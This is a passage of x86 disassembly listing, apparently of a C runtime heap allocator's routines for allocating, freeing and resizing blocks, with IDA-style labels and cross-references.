jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD374
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DD36C
mov eax, dword_4DD374
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD374
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD374
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD374
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD374
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DD374
push dword ptr [eax+10h]
push 0
push dword_4DD384
nop
call near ptr 27D0000h
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD374
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, dword_4DD374
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov dword_4DD374, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD378
mov edx, dword_4DD37C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD370
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD370, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD374
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD36C
jnz short loc_41ED67
and dword_4DD374, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD378
mov ecx, dword_4DD368
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD37C
push edi
push dword_4DD384
nop
call near ptr 2870000h
cmp eax, edi
jz short loc_41EE07
add dword_4DD368, 10h
mov dword_4DD37C, eax
mov eax, dword_4DD378
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD37C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD384
lea esi, [ecx+eax*4]
nop
call near ptr 27E0000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 2670443h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD384
nop
call near ptr 27D0000h
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD378
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call near ptr 2670443h
nop
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp
cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
nop
call near ptr 27E0000h
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call near ptr 26705B4h
nop
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
nop
call near ptr 27D0000h
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call near ptr 26705B4h
nop
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
